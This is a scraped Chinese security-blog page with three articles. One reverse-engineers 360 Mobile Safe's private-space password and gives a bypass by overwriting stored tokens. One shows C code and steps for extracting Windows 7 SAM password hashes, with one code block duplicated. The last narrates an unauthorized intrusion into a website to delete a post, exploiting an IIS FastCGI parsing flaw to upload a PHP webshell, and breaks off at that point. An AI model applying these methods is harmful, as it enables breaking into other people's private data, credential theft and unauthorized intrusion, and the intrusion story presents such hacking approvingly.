iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/pr eference/Preference; invoke-virtual  {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedP references; move-result-object v0 invoke-interface  {v0,  p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/pr eference/Preference; new-instance v1, Lagm;  #  ?new 一個 agm 對象 ? invoke-direct {v1, p0}, Lagm;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual  {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V  #設置監聽器 :cond_5 invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreference Screen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "user_custom_private_pic_call" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-object v0  #查找用戶自定義“隱私空間”電話圖標 List 的 Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/pr eference/Preference; #賦值給成員變量 d iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/pr eference/Preference; if-eqz v0, :cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/pr eference/Preference; invoke-virtual  {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedP references; move-result-object v0 invoke-interface  {v0,  p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/pr eference/Preference; new-instance v1, Lagn;  #  ?new 一個 agn 對象 ? invoke-direct {v1, p0}, Lagn;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V goto/16 :goto_0 .end method 在“onCreate(Landroid/os/Bundle;)V”方法中可以看到分別對“隱私空間”設置 Activity 的“更改隱私密碼”、“密碼保護郵箱”、“主界面顯示名稱及圖標”的點擊事件分 別設置了監聽器,而每個監聽器則是 new 的一個對象,如為“密碼保護郵箱”new 了一個 agp 對象,而“更改隱私密碼”則 new 了一個 ago 對象,ago 對象是個什么對象? 通過我對 Proguard 生成的代碼分析經驗所得,它應該只是一個普通的監聽器方法。 Proguard 會將一個類中的監聽器方法抽取成一個單獨而隨機的類,而名稱與變量的生成規 則是按照從“a-z”的方式生成,如第一個類方法會是 a(),下一個類方法如果參數與 a() 不同則是 a(xxx),這里的“xxx”就是參數列表,如果下一個方法名不能用 a()重載的方式 生成,就會用 b()方法來表示,同樣不能用 b()來重載的方法就會用 c()來生成,以此類推, 變量名也是如此。#p#分頁標題#e# 下面是 ago 對象的代碼: .method  public  constructor <init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V .locals 0 iput-object p1, p0, Lago;->a:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-direct {p0}, Ljava/lang/Object;-><init>()V return-void .end method .method public onPreferenceClick(Landroid/preference/Preference;)Z .locals 1 iget-object v0, p0, Lago;->a:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-static  {v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c(Lcom/qihoo3 60/mobilesafe/ui/privatespace/PrivateSetupPreference;)V  #  ? 調 用   PrivateSetupPreference 的靜態 c 方法 ? const/4 v0, 0x1 return v0 .end method 響應用戶點擊的代碼只是調用了“PrivateSetupPreference->c()”方法,真是讓人暈 啊,代碼又迂回到了“PrivateSetupPreference.smali”中,其它幾個 agp、agm、agn 對象 與這里一樣,只是分別調用了 d()、e()與 f()。 .method  public  static  synthetic c(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V .locals 0 invoke-direct  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d()V return-void .end method 在 c 中又調用了 d(),繼續看 d(),是私有方法哦: .method private d()V .locals 6 invoke-static  {p0}, Landroid/view/LayoutInflater;->from(Landroid/content/Context;)Landroid/view/Lay outInflater; move-result-object v0 const v1, 0x7f030046 const/4 v2, 0x0 invoke-virtual  {v0,  v1,  v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/ View; move-result-object v2  #獲取 View const v0, 0x7f0a0104 invoke-virtual {v2, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View; move-result-object v0  #?獲取“輸入密碼”的 EditText? check-cast v0, Landroid/widget/EditText; const v1, 0x7f0a0105 invoke-virtual {v2, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View; move-result-object v1  #?獲取“確認密碼”的 EditText? check-cast v1, Landroid/widget/EditText; new-instance v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory; const v4, 0x7f0b0065 const v5, 0x7f0b0066 invoke-direct {v3, p0, v4, v5}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-><init>(Landroid/content/Cont ext;II)V #初始化一個 DialogFactory 對象 iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnOK:Landroid/widget/Butto n; const v5, 0x7f0b0090 invoke-virtual {v4, v5}, Landroid/widget/Button;->setText(I)V  #?設置確 認按鈕的文本? iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnCancel:Landroid/widget/B utton; const v5, 0x7f0b0091 invoke-virtual {v4, v5}, Landroid/widget/Button;->setText(I)V  #?設置取 消按鈕的文本? iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mContents:Landroid/widget/Li nearLayout; invoke-virtual {v4, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V #設置 DialogFactory 對象的 View const/4 v2, 0x1 invoke-virtual {v3, v2}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->setCancelable(Z)V iget-object v2, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnOK:Landroid/widget/Butto n; #獲取確認按鈕對象 new-instance v4, Lagj;  # ?new 一個 agj 對象,實際又是一個監聽器對象 ? invoke-direct  {v4,  p0,  v0,  v1,  v3}, Lagj;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;L android/widget/EditText;Landroid/widget/EditText;Lcom/qihoo360/mobilesafe/ui/di alog/DialogFactory;)V #初始化監聽器 invoke-virtual {v2, v4}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener; )V #設置確認按鈕的監聽器 iget-object v0, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnCancel:Landroid/widget/B utton; new-instance v1, Lbv;  # ?new 一個 bv 對象,實際又是一個監聽器對象 ? invoke-direct  {v1,  p0,  v3}, Lbv;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;Lc om/qihoo360/mobilesafe/ui/dialog/DialogFactory;)V#初始化監聽器 invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;#p#分頁標題#e# )V #設置取消按鈕的監聽器 invoke-virtual  {p0},   Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->isFinishing() Z move-result v0 if-nez v0, :cond_0 invoke-virtual   {v3}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->show()V  #顯示出來 :cond_0 return-void .end method 代碼我注釋的很詳細了,關鍵點也是加黑部分的設置監聽器的地方,我們看看 “agj.smali”文件: .method public onClick(Landroid/view/View;)V .locals 3 iget-object v0, p0, Lagj;->a:Landroid/widget/EditText; invoke-virtual  {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v0 invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; # ?獲取密碼 move-result-object v0 iget-object v1, p0, Lagj;->b:Landroid/widget/EditText; invoke-virtual  {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v1 invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String; # ?獲取確認密碼 move-result-object v1 invoke-static  {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z #判斷密碼是否為空 move-result v2 if-nez v2, :cond_0 invoke-static  {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z #判斷確認密碼是否 為空 move-result v2 if-nez v2, :cond_0 invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z #判斷兩密碼是否相等 move-result v0 if-nez v0, :cond_1 :cond_0 iget-object v0, p0, Lagj;->d:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; const v1, 0x7f0b009d const/4 v2, 0x0 invoke-static  {v0,  v1,  v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;II)Landroid/widget/To ast; move-result-object v0 invoke-virtual {v0}, Landroid/widget/Toast;->show()V  #提示密碼輸入錯誤 :goto_0 return-void :cond_1 iget-object v0, p0, Lagj;->a:Landroid/widget/EditText; invoke-virtual  {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v0 invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; # 再次獲取密碼 move-result-object v0 iget-object v1, p0, Lagj;->d:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-static {v1,  v0}, Laue;->g(Landroid/content/Context;Ljava/lang/String;)V #  ?調用 g()方法? iget-object v0, p0, Lagj;->c:Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory; invoke-virtual  {v0}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->dismiss()V #退出對話框 goto :goto_0 .end method 處理很簡單,如果輸入沒有錯誤的話就調用 aue->g()方法,然后退出對話框,我們 繼續跟蹤代碼: .method public static g(Landroid/content/Context;Ljava/lang/String;)V .locals 3 sput-object p1, Laue;->u:Ljava/lang/String; invoke-static   {p0}, Laue;->p(Landroid/content/Context;)Ljava/lang/String;  #?調用 aue-p()方法? move-result-object v0  #保存“private_security_token”到 v0 invoke-static  {p0}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/co ntent/Context;)Landroid/content/SharedPreferences; move-result-object v1 invoke-interface  {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$E ditor; #獲取一個編輯器 move-result-object v1 const-string v2, "private_password_token" #要寫入保存的鍵值 invoke-static {v0, p1},   Lals;->c(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #?調用 als-c()方法進行加密 move-result-object v0 invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/l ang/String;)Landroid/content/SharedPreferences$Editor; #調用編輯器的方法寫入字 符串值 invoke-interface  {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z#提交保存 return-void .end method 這里將要保存的密碼進行加密后保存,關鍵點就在于分析 aue-p()與 als-c()了。這里 我 再 跟下 去怕 沒完沒 了 ,說下 aue-p() 吧,它 的作 用是 寫 入并保 存 “ private_security_token”, 而 als-c()方法 則 傳入“ private_password_token”與 “private_security_token”進行 DES 加密,最后調用 als-a()方法進行位移與運算,最后 寫入配置文件中。總結下代碼的步驟為#p#分頁標題#e# PrivateSetupPreference  -->  ago  -->PrivateSetupPreference->c()  --> PrivateSetupPreference->d() --> agj --> aue->g( --> als-c() -->als-a() 有興趣的可以繼續研究實現解密出原始密碼,這里由于篇幅不再深究。說說破解這個密 碼 的 簡 單 方 法 : 在 “data/data/com.qihoo360.mobilesafe/share_prefs/com.qihoo360.mobilesafe_prefere nces.xml”文件中,分別有三組值: <string name="private_email_token">b71735aa47813612ba59aa88b08b34d4b6149dd3a92649f0</st ring> <string name="private_security_token">787e5f066142bb876bb332064230e4b3</string> <string name="private_password_token">e76951065ad722c7a3f68f359c7832c419cc7f4a1676be072 3c0017892a09e545979e0105aedc6ce</string> 將 360 進程干掉(方法前面有介紹),將“com.qihoo360.mobilesafe_preferences.xml” 文件中這三組鍵值寫入自己已知的值(可事先自己用已知密碼與郵箱生成),這樣,重啟 360 后就可以用自己設置的密碼進入“隱私空間”了,并且里面的記錄都還原原本本的存在。 OK!這篇老長的文章終于寫完了,說說在寫調試程序時的一個小插曲,起先研究開機啟 動的時候我想到的是在開機啟動廣播中結束 360 進程,然后自己創建動態廣播,結果,測試 時發現安裝測試程序后,重啟手機剛進入桌面又杯具的重啟了,并且進行了一個無限的重啟 循環(后來明白了,360 壓根都還沒啟動,結果 360 進程肯定會異常了,因為又用了ROOT權限,所有手機就重啟了),我對手機進行雙 WIPE 后一樣的異常(手機 ROOT 后我刪除掉了 一些系統程序,結果不穩定了),根本用不了,由此迎來了這小六的第一次刷機之旅......   http://www.ionrce.tw/uploads/allimg/120419/1-1204191940251G-lp.jpg android 360 手機衛士 短信攔截 系統安全 admin 未知 2012-04-19 19:38 Windows7注冊表之SAM文件取證分析 http://www.ionrce.tw/ruanjianpojie/20120418829.html Windows注冊表包含大量的鍵值,而且這些鍵值可能被用戶修改過,犯罪嫌疑犯也可能 借用它隱藏一些隱私,如用戶密碼。故,一些注冊表鍵值在許多取證分析中都要被調查,它 們并無必 Windows注冊表包含大量的鍵值,而且這些鍵值可能被用戶修改過,犯罪嫌疑犯也可能 借用它隱藏一些隱私,如用戶密碼。故,一些注冊表鍵值在許多取證分析中都要被調查,它 們并無必要對應一個給定領域,但是它們和大量計算機調查相關。這些鍵值包括基本的系統 信息(誰使用了該系統,安裝了什么應用程序)和關鍵系統領域的更詳細信息(安裝了哪些 硬件,裝載了哪些驅動器)等,如運行過的程序、訪問過的網站、編輯過的文檔等。這些信 息可以為取證分析提供一定的幫助,而且容易獲取,因為都是明文顯示即通過注冊表API函 數RegOpenKeyEx、RegEnumKeyEx、RegQueryValueEx即可獲取。讀者若對這些關鍵值路徑感 興趣,可參考《Initial Case Analysis using Windows Registry in Computer Forensics》。 本文重點論述注冊表中隱藏的關鍵信息即用戶ID和密碼。 若系統事先設有密碼,則用戶輸入密碼進行系統之前, windows 會對此明文密碼采用MD4 算法進行散列,然后將散列值與系統中保存的 HASH 值進行比對。這些 MD4 散列值即存放在 安全賬戶管理器SAM文件內。盡管SAM文件在最高權限下都無法訪問,但所有的信息都存放 在注冊表內,故完全可以在 SYSTEM 權限下,通過調用注冊表 API 函數獲取到這些信息。本 文是在參考Vincent Roch在 codeproject上發表的文章“Retrieve the Windows 7 Password Hash on the Fly”、 Dustin Hurlbut的文章 “Forensic Determination of a User’s Logon 的基礎上并結合自己的理解分析完成的,探討windows下SAM文件用戶密碼的破解分析。 1.SAM 結構分析 SAM結構中包含兩內hash分別為:LanMan hash和NT hash,然而從Vista版本開始,因為 LM hash的安全性略低于后者,故已經基本上不再使用了。在注冊表中用戶信息都存放在 HKLM\SAM\SAM\Domains\Account\users\<userRID>下,其下的子鍵即每個賬號的SID相對標 志符。每個賬戶下包含兩個子項,F和V。V值包含了用戶名、以及散列后的用戶密碼值等。 它實際上可以看作一個微型文件系統,包含多個指針即指向一個可變長度的結構體。每個指 針結構為一個12字節值,例如第2個12字節結構體,前4字節即用戶數據起始相對偏移值(需 要加上偏移量0xCC),中間4字節表示用戶名的長度,后4字節保留未用。如圖1所示, 0xBC+0xCC=188,即偏移188處即為用戶名。 圖1. SAM文件中Adminitrator用戶的SID結構 而且,圖1中的12字節結構體中的第二個4字節包含特殊含義,即 0x BC 00 00 00  — ADMINISTRATIVE USER 0x D4 00 00 00 USER  —  ONLY PRIVILEGE LEVEL即受限制的用戶權限 0x B0 00 00 00  —  GUEST ACCOUNT “F”鍵值中保存的是一些登錄記錄,如上次登錄時間、錯誤登錄次數等。從上面的分 析,可知用戶密碼保存在SAM文件中,雖然系統默認下config文件受保護,但用戶信息全部 存在在注冊表內,故這里我們可以在SCM(服務控制管理器)內注冊一個系統服務實現SAM 文件取證。 2.創建新服務實現SAM文件取證 當一個服務控制程序請求開啟一個新的服務時,SCM開啟服務的同時,向控制調度器發 送一個開始請求。控制調度器為服務創建一個新的線程來運行ServiceMain函數。代碼如下: int APIENTRY WinMain(HINSTANCE hProg, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ /*SERVICE_TABLE_ENTRY 結構類型的數組,設置調用進程所提供的GetSAM服務的入口函 數及字符串名*/   SERVICE_TABLE_ENTRY DispatchTable[] =      {          {"GetSAM", (LPSERVICE_MAIN_FUNCTION)&GetSAMServiceMain},          {NULL, NULL}      };   //連接程序主線程到服務控制管理程序     StartServiceCtrlDispatcher(DispatchTable); } DWORD WINAPI HandlerFunction(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext){ SERVICE_STATUS ServiceStatus;   if (dwControl == SERVICE_CONTROL_SHUTDOWN ||      dwControl == SERVICE_CONTROL_STOP){       ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;       ServiceStatus.dwCurrentState = SERVICE_STOPPED;#p#分頁標題#e#       SetServiceStatus(hServiceStatus, &ServiceStatus);   } return(0); } void GetSAMServiceMain(DWORD dwArgc, LPTSTR* lpszArgv){ SERVICE_STATUS ServiceStatus; //注冊一個處理控制請求的HandlerFunction函數 hServiceStatus = RegisterServiceCtrlHandlerEx("GetSAM",  (LPHANDLER_FUNCTION_EX)&HandlerFunction, NULL); ZeroMemory(&ServiceStatus, sizeof(SERVICE_STATUS)); ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN |      SERVICE_ACCEPT_STOP;  //調用SetServiceStatus函數來報告當前狀態為RUNNING態 SetServiceStatus(hServiceStatus, &ServiceStatus); //后臺服務程序開始分析SAM文件 RegistryEnumerateSAM(); } 通過自建的后臺服務,我們具備了分析SAM文件的權限。但密碼存放在用戶對應的SID 的V鍵下卻是以一種密文形式存放。Windows2000版本之后,V鍵值內容似乎可結合用戶ID下 的某個鍵值作為key輸入到DES算法中解密。事情變得卻是比較詭秘,微軟通過 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data} 四個鍵值的CLASS 值,結合一個置換表換位得來。獲取syskey后,仍然存在兩大障礙需要解決。首先我們需要 int APIENTRY WinMain(HINSTANCE hProg, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ /*SERVICE_TABLE_ENTRY 結構類型的數組,設置調用進程所提供的GetSAM服務的入口函 數及字符串名*/   SERVICE_TABLE_ENTRY DispatchTable[] =      {          {"GetSAM", (LPSERVICE_MAIN_FUNCTION)&GetSAMServiceMain},          {NULL, NULL}      };   //連接程序主線程到服務控制管理程序     StartServiceCtrlDispatcher(DispatchTable); } DWORD WINAPI HandlerFunction(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext){ SERVICE_STATUS ServiceStatus;   if (dwControl == SERVICE_CONTROL_SHUTDOWN ||      dwControl == SERVICE_CONTROL_STOP){       ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;       ServiceStatus.dwCurrentState = SERVICE_STOPPED;       SetServiceStatus(hServiceStatus, &ServiceStatus);   } return(0); } void GetSAMServiceMain(DWORD dwArgc, LPTSTR* lpszArgv){ SERVICE_STATUS ServiceStatus; //注冊一個處理控制請求的HandlerFunction函數 hServiceStatus = RegisterServiceCtrlHandlerEx("GetSAM",  (LPHANDLER_FUNCTION_EX)&HandlerFunction, NULL); ZeroMemory(&ServiceStatus, sizeof(SERVICE_STATUS)); ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN |      SERVICE_ACCEPT_STOP;  //調用SetServiceStatus函數來報告當前狀態為RUNNING態 SetServiceStatus(hServiceStatus, &ServiceStatus); //后臺服務程序開始分析SAM文件 RegistryEnumerateSAM(); }  計算 syskey 的散列值,即使用 syskey 和 F 鍵的前 0x10 字節,與特殊的字符串 "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","01234567890123456789012345678 90123456789"做MD5運算,再與F鍵的后0x20字節做RC4運算得到一個解密密鑰dkey即解密SAM 中加密數據到散列態。當需要解密SAM中加密數據到散列時,需要將此dkey與當前用戶的SID、 散列類型名NTPASSWORD做MD5運算獲取針對此用戶密碼散列的會話密鑰skey。利用skey作為 RC4算法的解密密鑰對散列進行處理,然后將用戶SID擴展為14字節做DES切分,生成DESECB, 再對RC4處理后的散列進行分開2次DES解密即可得到密碼散列。整個處理流程十分詭異。最 后將用戶SID值作為salt,可確保不同用戶的相同散列在SAM中存放不一樣。 3.核心代碼分析 在獲取到每個HKLM\SAM\SAM\Domains\Account\users\<UserID>之后,我們需要對每個 用戶的SAM進行分析。首先讀取SAM文件中的V鍵值對應的內容,其包含了Unicode形式表示的 用戶名、字符串長度以及NT hash的加密版本。 EnumerateRegValues(hSAM, "V", VBlock, &VBlockLen); //獲取NT hash的密文長度#p#分頁標題#e# dwNTHashLen = VBlock[0xAC] + 0x100*VBlock[0xAD] -4; //獲取用戶名長度 dwUserNameLen = VBlock[0x10] + 0x100*VBlock[0x1a]; for (i = 0; i < dwNTHashLen; i++){ //獲取NT hash密文     nthash[i] = VBlock[VBlock[0xa8] + VBlock[0xa9]*0x100 + 4 + 0xcc + i]; } for (i = 0; i < dwUserNameLen/2; i++){ //獲取用戶名     UserNameA[i] = VBlock[VBlock[0xc] + VBlock[0xd]*0x100 + 0xcc + 2*i]; } 前面我們也講到了如何獲取Syskey值,它由四個不同的鍵碼值信息組成,每個信息均存 放在鍵值的class屬性內。 #define REGISTRY_LSAJD "SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD" #define REGISTRY_LSASKEW "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1" #define REGISTRY_LSAGBG "SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG" #define REGISTRY_LSADATA "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data" //獲取這些鍵值對應的class屬性內容 dwError = RegQueryInfoKey(hKey, Class, &dwcClass,         NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); for (i = 0; i < 4; i++){     temp[0] = Class[2*i]; temp[1] = Class[2*i + 1]; //將ASCII轉換為16進制數     RegistryKeyValue[i] = strtol(temp, &stop, 16); } for (i = 0; i < 4; i++){     /*依次從JD,Skew1,GBG,Data開始,分別獲取bootkey[0-3],bootkey[4-7],       bootkey[8-11],bootkey[12-15]值*/     bootkey[i] = RegistryKeyValue[i]; } //對bootkey進行P置換得到syskey for (i = 0; i < 16; i++)  syskey[i] = bootkey[p[i]]; 至此,我們已經獲取到了syskey值。下面就是繁瑣的解密過程了,代碼就不在給出了。 按著前面分析的解密流程,即可實現。 4.小結 Windows 注冊表容納了所有應用程序和計算機系統的全部配置信息、系統和應用程序 的初始化信息、應用程序和文檔文件的關聯關系、硬件設備的說明、狀態和屬性以及各種 狀態信息和數據。對于計算機取證分析員而言,注冊表的分析是至關重要一環。 http://www.ionrce.tw/uploads/allimg/120418/1-12041QI10UE-lp.png SAM 解密 文件取證 軟件破解 admin 未知 2012-04-18 17:29 一次艱難的滲透過程(涉及到內容很廣) http://www.ionrce.tw/wangzhananquan/20120416827.html 前言 隨著互聯網的迅速發展,越來越多的應用都轉向B/S結構,因為它是跨平臺的、易操作 的、方便的、迅速的,這樣不論用戶使用什么樣的操作系統,僅僅需要安裝一個瀏覽器就能 享 前言    隨著互聯網的迅速發展,越來越多的應用都轉向B/S結構,因為它是跨平臺的、易操作 的、方便的、迅速的,這樣不論用戶使用什么樣的操作系統,僅僅需要安裝一個瀏覽器就能 享受在線購物、網上支付、看電影、寫博客等等各種各樣便捷的服務,特別是 WEB2.0 時代 的到來更增添了互聯網的活力。但是這樣就會導致越來越多的 WEB 安全問題的出現,比如 sql 注入、XSS、上傳漏洞、弱口令、目錄遍歷等,雖然早在數十年前就被發現這些漏洞產 生的根本原因,可它們卻始終都沒有退出歷史的舞臺,依然是WEB應用程序主要的安全問題。 當然很多企業也開始越來越重視安全,但是僅僅依靠買網絡安全產品、買防火墻之類是不能 完全解決問題的。現在的企業安全最大問題就是不重視網絡安全人才,導致搞安全的薪水不 如挖煤窯的,或者純粹的依靠安全產品代替網絡安全人才。產品畢竟也是人寫的,并且具有 時效性,出了 0day 后,死的產品能立即做出安全措施嗎?動輒就看見招聘做內核驅動的程 序員年薪 20 萬以上,這種狀況讓搞安全的情何以堪。并且搞安全也需要學習底層編程、C 語言、perl、python、php、asp、.net、java、c++、調試漏洞、配置各種各樣的 web 環境、 熟練掌握 od、ida、softice、windbg、軟件破解、社工等等只要是跟互聯網有一點關系都 是必修之課,最關鍵還要時刻的學習新東西,要跟得上互聯網的發展,否則就會被淘汰,有 這么多的要求,我們容易嗎? 我先感慨一下,在做網絡安全這些年感覺一直在漂,從 05 年剛到北京的遠東到 08 年的 大連,再到09年的盛大,11 年的啟明,沒有一個地方能讓人感到是在踏實的做安全,對網 絡安全人才這塊也都不重視。從圈內群的好友里得知,有很多技術水平很不錯的朋友都閑置 在家,為什么?我感覺國內的大環境都是這樣的,所以出現了 2011 年底的各大網站密碼泄 露事件。我認為,泄露的那些庫也只是九牛之一毛。在這個拿網絡安全人才當民工的時代, 也許這個事件算是給那些高傲的、高薪的程序員上的一堂課吧。    言歸正傳。因為快要當爸爸了,我終于離開了北京,在家閑著這段時間受一朋友之托要 在某一個網站幫忙刪一個帖子,于是開始了這次漫長的滲透之旅。 初期的探索    在拿到目標 www.111.com 后,前期的偵查工作一定是要做充分的。我喜歡先從網站程序 入手,這樣如果找到突破口就可以迅速拿下。    通過初期的網站文件暴力猜解,掃描到robots.txt這個文件,有以下目錄。如圖1: 再通過對這些文件的訪問,從 3gadm.php 文件的標題欄得到該網站采用的是 diy-page8.3 的 cms,自然可以先用搜索引擎搜索該 cms 暴露的已知漏洞入手。我搜到的大 概有三個版本別人分析的結果:一個是子儀的盲注exp,還有兩個是來自t00ls的。由于該 網站服務器安裝有WEB 防火墻,導致同一個IP不能多次連續的提交get或 post 請求,否則 就被認為是非法的。這樣一來盲注那個exp 也就一直沒有成功,而我測試使用t00ls 小蟑螂 那個 exp 時,在本機自己搭建環境的最新版本是成功的,但是目標仍然失敗,我考慮也許是 目標版本較低的原因。 由于后臺文件admin.php被改名,同時也在進行著網站后臺文件的暴力猜解中。不過也 許我的字典文件不夠大也不夠好,結果很令人失望。并且該網站做了禁止普通用戶注冊、禁 止普通用戶登陸的安全措施,這樣連傳圖片的權利也給封殺了。 再看他的論壇,畢竟要刪的帖子是在論壇上的,但他使用的是最新版的 discuz! X2, 因為我測試了2011年 7月份那個漏洞不好使。    到這里該目標的網站程序方面大概有了些了解,但有用的信息不是很多。接著我用nmap 掃描了 web 服務器的端口情況,只開了 80,也許其他端口被防火墻 K 掉了吧。通過經驗訪 問一個不存在目錄,服務器返回如圖2: 從圖 2看出,貌似是iis7.0或 iis7.5,再用iiswrite.exe對網站發送一個head 包, 返回 Server: Microsoft-IIS/7.5,這樣的話大概能確定該網站服務器操作系統應該是#p#分頁標題#e# windows2008.    通過上面的分析,沒有找到什么突破口,接下來大家都能想到,可以掃描一下他 web 服 務器上都有哪些網站,從該服務器上的其他網站入手是大家一貫的手法,我也就不多說了。 只是我是個苦命人啊,再次遇到cdn,無法簡單的判斷網站的真實IP。 關于cdn我在這里用簡單的幾句話科普一下,用戶在自己的 瀏覽器中輸入要訪問的網站 的域名,網站主dns選擇比較近的cdn服務商節點,并把請求的內容緩存到cdn節點服務器, 再把cdn節點服務器ip返回給用戶,最后用戶再向給定的cdn接點請求網站內容。    我測試使用不同地區的vpn去 ping網站域名,發現ip 都不一樣,后來通過google搜索 他網站的相關帖子,發現有另外一個域名www.222.com顯示相同的內容。再次用此域名進行 旁注域名查詢,總算有了真實的結果。 但令人悲催的是,這幾個域名最終全都指向了主網站和論壇。 看到一點希望 由于www.222.com是直接指向論壇,而www.111.com指向cms,可以判斷兩個網站應該是不 同的虛擬目錄。于是我用自己寫的掃描器對www.222.com進行了網站文件暴力猜解如圖4: 從圖 4中看到,總算有個信息泄露的問題了。 打開 phpinfo.php得到如圖5: 從圖5我得到了,目標操作系統是windows2008,php運行方式FASTCGI,PHP版本5.2.17, 還有網站物理路徑等等,讓我眼前一亮的是 iis7.5+FASTCGI 在默認情況下,IIS 處理請求 的時候可能導致如nginx安全漏洞一樣的問題,任何用戶可以遠程將任何類型的文件以PHP 的方式去解析。 我馬上找到一個該網站某個圖片鏈接地址進行類似這樣的請 求:http://www.222.com/images/aaa.gif/kyo.php ,沒有返回 404,并且返回的http頭狀 態碼是 200,這時我基本肯定了該漏洞的存在。我記得給好友小龍豬看過一眼,他說了一句 話:這個站死定了。我也深信這一點,但我沒想到后面的過程竟是如此艱難。     隨后我帶著喜悅的心情,迅速的在該論壇注冊了賬戶,并急切的上傳那個帶著一句話 php 